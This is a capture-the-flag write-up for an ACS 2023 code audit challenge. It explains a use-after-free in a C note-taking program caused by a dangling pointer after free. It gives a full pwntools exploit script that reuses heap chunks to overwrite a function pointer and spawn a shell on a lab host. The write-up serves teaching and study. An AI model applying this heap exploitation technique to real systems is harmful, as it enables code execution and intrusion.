Note [Code Audit]

3 minute read

Dangling reference leading to Use-After-Free (UAF). Second code audit challenge for ACS 2023 finals.

Challenge Description

I often write in my diary…

(Challenge connects over nc)

note.c

Studying the code

This program is yet another menu program with the following commands:

  1. Write a note: Creates a note in an array at a specified index.
  2. Rewrite a note: Rewrites a note at an index. Resizes if the note becomes larger.
  3. Read a note: Prints the contents of a note and runs its emoji function.
  4. Erase a note: Frees the pointers in the note and of the note.
  5. Exit

Immediately, I noticed that erasing a note doesn’t actually clears the contents in the array.

void _erase(int idx)
{
    if (note[idx] == 0)
    {
        printf("[*] empty page\n");

        return;
    }

    note[idx]->emoj = 0;
    printf("[!] erase note %d @ %p\n", idx, note[idx]);
    free(note[idx]->script);
    free(note[idx]);

    printf("Erase Success\n\n");
}

Therefore, after we erase a note, we can still technically read it from the array as if it were still a note. This leads to a classic UAF.

Solution

The solution requires a little knowledge about how free works in C. There’s a really good article on this so I’ll skip the details.

In short, when we free a piece of memory of a certain size, the next time we malloc() for that size, the heap manager will reuse that chunk to save time (unless a reconsolidation happens. Read article above for this). The freed chunks are stored in a free list, which is a linked list of freed chunks (LIFO).

Our goal is to free a note (16 bytes), and create a new note such that its script field is allocated to the freed note’s chunk.

The solution is to create 2 notes of script length 16 bytes and »16 bytes respectively. By freeing them both in order, and creating a new note of script length 16 bytes, we will achieve our goal. Let’s see why.

Suppose we have already created our 2 notes as described above.

free index 1
                           +---------+     +-----------------+
16-byte free list HEAD --> | note[0] | --> | note[0]->script |
                           +---------+     +-----------------+



free index 2
                           +---------+     +---------+     +-----------------+
16-byte free list HEAD --> | note[1] | --> | note[0] | --> | note[0]->script |
                           +---------+     +---------+     +-----------------+

                           +-----------------+
X-byte free list  HEAD --> | note[1]->script |
                           +-----------------+

So, when we create note[2] with a 16-byte script, the following will hold

  • note[2] == note[1]
  • note[2]->script == note[0]

due to the malloc() order. And we just have to write the shell function’s address to the last 8 bytes into note[2]->script, read note[0], and we get shell.

Final Script

from pwn import *

DEBUG = True

if DEBUG:
    context.log_level = 'DEBUG'
conn = process("./note") if DEBUG else remote("192.168.0.52", 40000)

def write(index, script):
    conn.recvuntil(b">>> ")
    conn.sendline(b"1")

    conn.recvuntil(b": ")
    conn.sendline(str(index).encode())

    conn.recvuntil(b": ")
    conn.sendline(script)

    conn.recvuntil(b">>> ")
    conn.sendline(b"1") # emoji

def read(index):
    conn.recvuntil(b">>> ")
    conn.sendline(b"3")

    conn.recvuntil(b": ")
    conn.sendline(str(index).encode()) # index

def erase(index):
    conn.recvuntil(b">>> ")
    conn.sendline(b"4")

    conn.recvuntil(b": ")
    conn.sendline(str(index).encode()) # index

conn.recvuntil(b": ")
shell = int(conn.recvline(keepends=False).decode(), 16)
shell = shell.to_bytes(8, 'little')
assert(len(shell) == 8)


### Exploit

write(1, b"A" * 0x10)
write(2, b"A" * 0x30)

erase(1)
erase(2)

write(3, b"A" * 8 + shell)

read(1)
conn.interactive()
exit()

Categories:

Updated: